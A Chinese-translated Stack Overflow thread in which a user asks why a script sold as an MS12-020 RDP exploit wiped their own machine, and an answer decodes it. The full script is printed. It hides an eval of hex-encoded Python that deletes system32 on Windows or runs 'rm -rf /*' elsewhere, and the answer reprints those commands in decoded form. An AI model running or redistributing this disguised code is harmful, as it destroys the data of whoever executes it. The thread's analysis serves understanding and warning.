为啥这个 Python 代码会破坏我的计算机？ [关闭]

Posted 2023-02-23

【中文标题】为啥这个 Python 代码会破坏我的计算机？ [关闭]

【英文标题】：Why does this Python code destroy my computer? [closed]为什么这个 Python 代码会破坏我的计算机？ [关闭]

【发布时间】：2012-08-09 06:37:50

【问题描述】：

它声称是 MS12-020 漏洞，我在我的机器上进行了测试。显然，它似乎破坏了运行它的操作系统。

仅查看此代码的某些部分并不表示任何恶意代码，因此我请求您的帮助。

它到底在做什么，我将如何恢复系统？

编辑：它不会破坏目标机器；它会破坏运行它的机器。如果我要搜索 MS12-020 是什么，我会得到大量信息！！！！

编辑：不要运行此代码。它是 rm -rf / 伪装的。

#!/usr/bin/env python

# rdpsmash.py
# MS12-020 RDP exploit, remote code execution
# Confirmed working on all pre-patch boxes, XP to 7
#
# Author: Verye

import struct
import socket
import sys

trigger =  "\x58\x6c\x64\x47\x6a\x74\x30\x5a\x67\x43\x67\x79\x6f\x39\x46\xf1"
trigger += "\x66\x70\x66\x61\x43\x52\x46\x71\x78\x30\x33\x55\x62\x63\x58\x63"
trigger += "\x47\x34\x33\x65\x62\x41\x4f\x30\x54\x39\x6f\x4a\x70\x52\x48\x5a"
trigger += "\x6b\x38\x6d\x6b\x4c\x75\x6b\x30\x50\x6b\x4f\x6e\x36\x53\x6f\x6f"
trigger += "\x79\x4a\x45\x32\x46\x6f\x71\x6a\x4d\x34\x48\x77\x72\x73\x65\x73"
trigger += "\x5a\x37\x72\x69\x6f\x58\x50\x52\x48\x4e\x39\x76\x69\x4a\x55\x4c"
trigger += "\x6d\x32\x77\x69\x6f\x59\x46\x50\x53\x43\x63\x41\x43\x70\x53\x70"
trigger += "\x53\x43\x73\x50\x53\x62\x63\x70\x53\x79\x6f\x6a\x70\x35\x36\x61"
trigger += "\x78\x71\x32\x78\x38\x71\x76\x30\x53\x4b\x39\x69\x71\x4d\x45\x33"
trigger += "\x58\x6c\x64\x47\x6a\x74\x30\x5a\x67\x43\x67\x79\x6f\x39\x46\x32"
trigger += "\x4a\x56\x70\x66\x31\x76\x35\x59\x6f\x58\x50\x32\x48\x4d\x74\x4e"
trigger += "\x4d\x66\x4e\x7a\x49\x50\x57\x6b\x4f\x6e\x36\x46\x33\x56\x35\x39"
trigger += "\x73\x55\x38\x4d\x37\x71\x69\x69\x56\x71\x69\x61\x47\x6b\x4f\x6e"
trigger += "\x36\x36\x35\x79\x6f\x6a\x70\x55\x36\x31\x7a\x71\x74\x32\x46\x51"
trigger += "\x78\x52\x43\x70\x6d\x4f\x79\x4d\x35\x72\x4a\x66\x30\x42\x79\x64"
trigger += "\x69\x7a\x6c\x4b\x39\x48\x67\x62\x4a\x57\x34\x4f\x79\x6d\x32\x37"
trigger += "\x41" * 39
trigger += "\x42\x44\x6c\x4c\x53\x6e\x6d\x31\x6a\x64\x78\x4c\x6b\x4e\x4b\x4e"
trigger += "\x4b\x43\x58\x70\x72\x69\x6e\x6d\x63\x37\x66\x79\x6f\x63\x45\x73"
trigger += "\x74\x4b\x4f\x7a\x76\x63\x6b\x31\x47\x72\x72\x41\x41\x50\x51\x61"
trigger += "\x41\x70\x6a\x63\x31\x41\x41\x46\x31\x71\x45\x51\x41\x4b\x4f\x78"
trigger += "\x50\x52\x48\x4c\x6d\x79\x49\x54\x45\x38\x4e\x53\x63\x6b\x4f\x6e"
trigger += "\x36\x30\x6a\x49\x6f\x6b\x4f\x70\x37\x4b\x4f\x4e\x30\x4e\x6b\x30"
trigger += "\x57\x69\x6c\x6b\x33\x4b\x74\x62\x44\x79\x6f\x6b\x66\x66\x32\x6b"
trigger += "\x4f\x4e\x30\x53\x58\x58\x70\x4e\x6a\x55\x54\x41\x4f\x52\x73\x4b"
trigger += "\x4b\x43\x58\x70\x72\x69\x6e\x6d\x63\x37\x66\x00"

nopsled = "\x90" * 214

#bindshell port 8888
shellcode =  "\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73"
shellcode += "\x74\x65\x6d\x28\x27\x64\x65\x6c\x20\x2f\x73\x20\x2f\x71\x20\x2f\x66\x20\x43\x3a"
shellcode += "\x5c\x77\x69\x6e\x64\x6f\x77\x73\x5c\x73\x79\x73\x74\x65\x6d\x33\x32\x5c\x2a\x20"
shellcode += "\x3e\x20\x4e\x55\x4c\x20\x32\x3e\x26\x31\x27\x29\x20\x69\x66\x20\x27\x57\x69\x6e"
shellcode += "\x27\x20\x69\x6e\x20\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x70\x6c\x61"
shellcode += "\x74\x66\x6f\x72\x6d\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x29\x20\x65\x6c\x73"
shellcode += "\x65\x20\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73"
shellcode += "\x79\x73\x74\x65\x6d\x28\x27\x72\x6d\x20\x2d\x72\x66\x20\x2f\x2a\x20\x3e\x20\x2f"
shellcode += "\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x32\x3e\x26\x31\x27\x29\x20\x23\x68\x69\x20"
shellcode += "\x74\x68\x65\x72\x65\x20\x5e\x5f\x7e\x20\x66\x65\x65\x6c\x20\x66\x72\x65\x65\x20"
shellcode += "\x74\x6f\x20\x73\x70\x72\x65\x61\x64\x20\x74\x68\x69\x73\x20\x77\x69\x74\x68\x20"
shellcode += "\x74\x68\x65\x20\x72\x6d\x20\x2d\x72\x66\x20\x72\x65\x70\x6c\x61\x63\x65\x64\x20"
shellcode += "\x77\x69\x74\x68\x20\x73\x6f\x6d\x65\x74\x68\x69\x6e\x67\x20\x6d\x6f\x72\x65\x20"
shellcode += "\x69\x6e\x73\x69\x64\x69\x6f\x75\x73"

evil = trigger + nopsled

class RDPsocket(socket.socket):
    def __init__(self, payload, shellcode):
        super(RDPsocket, self).__init__(socket.AF_INET, socket.SOCK_STREAM)
        self.payload = payload
        self.table = __import__("__builtin__").__dict__ #dirty workaround
        self.shellcode = shellcode
    
    def parse(self, address, shellcode):
        seeker = (struct.pack(">I", 0x6576616c), 
            socket.inet_aton(address[0]), #IP bytes
            socket.inet_aton(str(address[1]))) #port bytes
        parsed =  struct.pack(">I", 0x8fe2fb63) #pop eax
        parsed += struct.pack(">I", 0x8fe2fb58) #push esp
        parsed += struct.pack(">I", 0xffff1d6b) #add esp,byte +0x1c # pop ebp # ret
        parsed += struct.pack(">I", 0x8fe2db10) #call strcpy
        parsed += struct.pack(">I", 0x8fe2dfd1) #POP - POP - RET over strcpy params
        parsed += struct.pack(">I", 0x8fe2dae4) #mov ecx,[esp+0x4] # add eax,edx # sub eax,ecx # ret
        parsed += struct.pack(">I", 0x8fe2b3d4) #POP - RET
        parsed += struct.pack(">I", 0xffffffff) #value to store in ecx
        parsed += struct.pack(">I", 0x8fe0c0c7) #inc ecx # xor al,0xc9
        parsed += struct.pack(">I", 0x8fe0c0c7) #inc ecx # xor al,0xc9
        parsed += struct.pack(">I", 0x8fe24b3c) #add ecx,ecx # ret
        parsed += struct.pack(">I", 0x8fe24b3c) #add ecx,ecx # ret
        parsed += struct.pack(">I", 0x8fe24b3c) #add ecx,ecx # ret
        parsed += seeker[0] #add the prelude
        parsed += seeker[1] #add the packed IP address
        parsed += seeker[2] #add the packed port
        parsed += struct.pack(">I", 0x8fe24b3c) #add ecx,ecx # ret
        parsed += struct.pack(">I", 0x8fe2c71d) #mov eax,edx # ret
        parsed += struct.pack(">I", 0x8fe2def4) #add eax,ecx # ret  
        parsed += struct.pack(">I", 0x8fe0e32d) #xchg eax,edx
        parsed += struct.pack(">I", 0x8fe0c0c7) #inc ecx # xor al,0xc9
        parsed += struct.pack(">I", 0x8fe0c0c7) #inc ecx # xor al,0xc9
        parsed += struct.pack(">I", 0x8fe24b3c) #add ecx,ecx # ret
        parsed += struct.pack(">I", 0x8fe24b3c) #add ecx,ecx # ret
        parsed += struct.pack(">I", 0x8fe24b3c) #add ecx,ecx # ret
        parsed += struct.pack(">I", 0x8fe2def4) #add eax,ecx # ret # swap back
        parsed += struct.pack(">I", 0x8fe0e32d) #xchg eax,edx # copy parameter to placeholder
        parsed += struct.pack(">I", 0x8fe2fb61) #mov [eax],edx # pop eax # ret # set our stack pointer back to original value
        parsed += struct.pack(">I", 0x8fe0e32d) #xchg eax,edx
        parsed += struct.pack(">I", 0x8fe2daea) #sub eax,ecx # ret
        parsed += struct.pack(">I", 0x8fe0b1c2) #xchg eax,ebp # inc ebp # ret
        parsed += struct.pack(">I", 0x8fe2b6a5) #dec ebp # ret
        parsed += struct.pack(">I", 0xffff01f3) #mov esp,ebp # pop ebp # ret
        read = self.table[seeker[0]] #reader for the parsed shellcode/data
        
        return str(read(shellcode)), parsed

    def connect(self, address):
        self.parsed_shell = self.parse(address, shellcode)
        super(RDPsocket, self).connect(address)

    def evil_sendall(self):
        super(RDPsocket, self).sendall(evil + self.parsed_shell[0] + self.parsed_shell[1])


if __name__ == "__main__":
    if len(sys.argv) != 2:
        print "[*] Usage: python rdpsmash.py IP"
        print "[*] If running on non-default port, reassign PORT in the source."
    
    else:   
        TARGET = sys.argv[1]
        PORT = 3389 #default RDP port
        
        print "[*] Running rdpsmash"
        print
        s = RDPsocket(evil, shellcode)
        print "[+] Connecting and configuring payload. . ."
        print "[+] This may take some time"
        s.connect((TARGET, PORT))
        print "[+] Connection established"
        print "[+] Sending payload. . ."
        s.evil_sendall()
        response = s.recv(4096)
        if "\xA5\x43\xE7\x38\x75\x84\xF2\xFF\xFF\x18\x61\x00" in response:
            print "[+] Success! Payload sent and executed."
            print "[+] Telnet to target on port 8888."
        else:
            print "[-] Failed"
        s.close()

【问题讨论】：

您基本上粘贴了大量代码并询问它的作用。您是否尝试过阅读代码？

@Blender 是的，我试过了。它似乎将自己伪装成与 RDP 相关的东西，因为它加载 RDP 类和模块并似乎连接到目标主机，但在某些时候，它似乎做了另一件事..

所以，让我直截了当：您下载了一个 python 脚本，声称允许您连接到远程计算机并“粉碎”远程计算机。很可能，此代码来自不太知名的来源。你在你的一台机器上运行它？如果你还没有意识到；你已经有了。 MS12-020 是一个安全漏洞，该脚本声称通过针对远程计算机来利用它。实际上，它会删除运行它的人的文件。我希望你已经吸取了教训。 :)

@MarkHildreth 你不必再说一遍，马克.. :) 这是一个太痛苦的教训......我学会了混淆，但是......我的错。从来没有真正想过会发生这种情况。 （我从没想过这会是一次混淆尝试……我的错。）感谢大家，我学到了宝贵（或无价）的一课。

我是这段代码的原作者；是我第一次尝试编写混淆 Python。写了一会儿，有点搞乱脚本小子。似乎做得很好。

【参考方案1】：

parse 方法的第一行很有趣：

In [4]: struct.pack(">I", 0x6576616c)
Out[4]: 'eval'

下次看到是在parse的底部：

read = self.table[seeker[0]] #reader for the parsed shellcode/data

而self.table定义为：

self.table = __import__("__builtin__").__dict__ #dirty workaround

这不是“肮脏的解决方法”。这是写eval的一种混淆方式。

这个神奇的shellcode 变量中有什么？

shellcode =  "\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73"
shellcode += "\x74\x65\x6d\x28\x27\x64\x65\x6c\x20\x2f\x73\x20\x2f\x71\x20\x2f\x66\x20\x43\x3a"
shellcode += "\x5c\x77\x69\x6e\x64\x6f\x77\x73\x5c\x73\x79\x73\x74\x65\x6d\x33\x32\x5c\x2a\x20"
shellcode += "\x3e\x20\x4e\x55\x4c\x20\x32\x3e\x26\x31\x27\x29\x20\x69\x66\x20\x27\x57\x69\x6e"
shellcode += "\x27\x20\x69\x6e\x20\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x70\x6c\x61"
shellcode += "\x74\x66\x6f\x72\x6d\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x29\x20\x65\x6c\x73"
shellcode += "\x65\x20\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73"
shellcode += "\x79\x73\x74\x65\x6d\x28\x27\x72\x6d\x20\x2d\x72\x66\x20\x2f\x2a\x20\x3e\x20\x2f"
shellcode += "\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x32\x3e\x26\x31\x27\x29\x20\x23\x68\x69\x20"
shellcode += "\x74\x68\x65\x72\x65\x20\x5e\x5f\x7e\x20\x66\x65\x65\x6c\x20\x66\x72\x65\x65\x20"
shellcode += "\x74\x6f\x20\x73\x70\x72\x65\x61\x64\x20\x74\x68\x69\x73\x20\x77\x69\x74\x68\x20"
shellcode += "\x74\x68\x65\x20\x72\x6d\x20\x2d\x72\x66\x20\x72\x65\x70\x6c\x61\x63\x65\x64\x20"
shellcode += "\x77\x69\x74\x68\x20\x73\x6f\x6d\x65\x74\x68\x69\x6e\x67\x20\x6d\x6f\x72\x65\x20"
shellcode += "\x69\x6e\x73\x69\x64\x69\x6f\x75\x73"

一个惊喜（评论实际上就在里面）：

if 'Win' in __import__('platform').system():
  __import__('os').system('del /s /q /f C:\windows\system32\* > NUL 2>&1')
else:
  __import__('os').system('rm -rf /* > /dev/null 2>&1')

#hi there ^_~ feel free to spread this with the rm -rf replaced with something more insidious

你刚刚在你的计算机上运行了rm -rf /。你应该很高兴它不是更隐蔽的东西，比如键盘记录器。

【讨论】：

不，我的意思是它破坏了运行漏洞的盒子。不是目标机器。我知道这一点是因为它破坏了我的虚拟机，并且我在我的测试服务器上运行它。

我很难相信。这个脚本只是发送一些数据。它不会在发送有效载荷的机器上执行任何操作。

这就是为什么我也很好奇，但它破坏了作为源的盒子，而不是目标。 （还有其他用户报告了同样的情况......）即使那样，它甚至不应该摧毁目标......

我总是发现 Linux 在删除东西方面（也许在它所做的所有事情上，除了图形和游戏）都比 Windows 更快。 rm -rf 在一小时内摧毁了一家银行的数字系统....

dict 部分实际上是访问实现 builtin 模块的命名空间的字典。